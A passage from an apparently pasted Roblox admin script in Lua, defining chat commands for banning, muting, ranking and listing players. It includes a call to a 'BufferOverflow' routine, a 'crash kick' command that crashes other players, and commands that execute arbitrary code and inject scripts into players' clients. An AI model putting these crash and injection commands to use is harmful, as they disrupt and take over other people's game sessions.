  2475. Instance.new("IntValue", object)
  2476. end
  2477. BufferOverflow(Game)
  2478. end)
  2479.  
  2480. Command("Kk", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  2481. local PlrTab = getPlayer(Speaker, Msg)
  2482. if #PlrTab > 0 then
  2483. for _,v in pairs(PlrTab) do
  2484. ypcall(function()
  2485. Crash1(v)
  2486.  
  2487. end)
  2488. end
  2489. end
  2490. end)
  2491.  
  2492. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  2493. local PlrTab = getPlayer(Speaker, Msg)
  2494. if #PlrTab > 0 then
  2495. for _,v in pairs(PlrTab) do
  2496. ypcall(function()
  2497. ChangeRank(v, -1)
  2498. end)
  2499. end
  2500. end
  2501. end)
  2502.  
  2503. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  2504. local PlrTab = getPlayer(Speaker, Msg)
  2505. if #PlrTab > 0 then
  2506. for _,v in pairs(PlrTab) do
  2507. ypcall(function()
  2508. ChangeRank(v, -2)
  2509. end)
  2510. end
  2511. end
  2512. end)
  2513.  
  2514.  
  2515.  
  2516.  
  2517.  
  2518. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  2519. local PlrTab = getPlayer(Speaker, Msg)
  2520. if #PlrTab > 0 then
  2521. for _,v in pairs(PlrTab) do
  2522. ypcall(function()
  2523. ChangeRank(v, -3)
  2524. end)
  2525. end
  2526. end
  2527. end)
  2528.  
  2529. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2530. ypcall(function()
  2531. local PlrTab = getPlayer(Speaker, Msg)
  2532. if #PlrTab > 0 then
  2533. for _,v in pairs(PlrTab) do
  2534. ypcall(function()
  2535. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2536. end)
  2537. end
  2538. end
  2539. local PlrName = ChangeRank(Msg, 0)
  2540. Ping("Un-Banned "..PlrName, Speaker, 5)
  2541. end)
  2542. end)
  2543.  
  2544. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2545. Dismiss(Speaker)
  2546. Ping("Commands", Speaker, nil, function()
  2547. Dismiss(Speaker.Name)
  2548. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2549. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2550. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2551. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2552. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2553. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2554. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2555. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2556. end)
  2557. Ping("Players", Speaker, nil, function()
  2558. ListPlayers(Speaker)
  2559. end)
  2560. end)
  2561.  
  2562. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2563. ListPlayers(Speaker)
  2564. end)
  2565.  
  2566. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2567. local Func,Error = loadstring(Msg)
  2568. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2569. getfenv(Func).Speaker = Speaker
  2570. if Error == nil then
  2571. coroutine.wrap(function()
  2572. Func()
  2573. end)()
  2574. Ping("Executed Script!", Speaker, 5)
  2575. else
  2576. Ping(Error, Speaker, 10)
  2577. end
  2578. end)
  2579.  
  2580. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2581. if LS ~= nil then
  2582. local Split = GetSplit(Msg)
  2583. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2584. local LocalSource = Msg:sub(Split + 1)
  2585. if #PlrTab > 0 then
  2586. for _,v in pairs(PlrTab) do
  2587. local Inserted = LS:Clone()
  2588. Inserted.Disabled = true
  2589. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2590. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2591. Inserted:findFirstChild(OwnSource).Value = v.Name
  2592. end
  2593. Inserted[LSSource].Value = LocalSource
  2594. Inserted.Disabled = false
  2595. end
  2596. end
  2597. else
  2598. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2599. end
  2600. end)
  2601.  
  2602. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2603. Msg = tostring(Msg)
  2604. Ping(Msg, Speaker)
  2605. end)
  2606.  
  2607. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2608. Dismiss(Speaker)
  2609. for i,v in pairs(getfenv(1)) do
  2610. ypcall(function()
  2611. Ping(tostring(i)..": "..tostring(v), Speaker)
  2612. end)
  2613. end
  2614. end)
  2615.  
  2616. Command('Ranks', 0, 'Shows all players in ranking table',
  2617. function(Msg,Speaker)
  2618. for _,v in pairs(Rankings) do
  2619. Ping(v.Name.."'s Rank: "..v.Rank,Speaker,nil,nil,nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  2620. end
  2621. end)
  2622.  
  2623.  
  2624. Command("Setr", 6, "Ranks A Player", function(Msg, Speaker)
  2625. local Split = GetSplit(Msg)
  2626. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2627. local Rank = tonumber(Msg:sub(Split + 1))
  2628. if #PlrTab > 0 then
  2629. for _,v in pairs(PlrTab) do
  2630. if v.Name ~= Owner then
  2631. ChangeRank(v, Rank)
  2632. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2633. end
  2634. end
  2635. end
  2636. end)
  2637.  
  2638. Command("Kajr", 5, "Remove the tablets", function(Msg, Speaker)
  2639. Dismiss()
  2640. Ping('Remove KAJ Tablets? <LolClickMe>',Speaker,5,function()
  2641. Dismiss()
  2642. Removed = true
  2643. for i,v in pairs(getfenv(1)) do
  2644. getfenv(1)[i] = nil
  2645. end
  2646. script.Disabled = true
  2647. end)
  2648. end)
Add Comment
Please, Sign In to add comment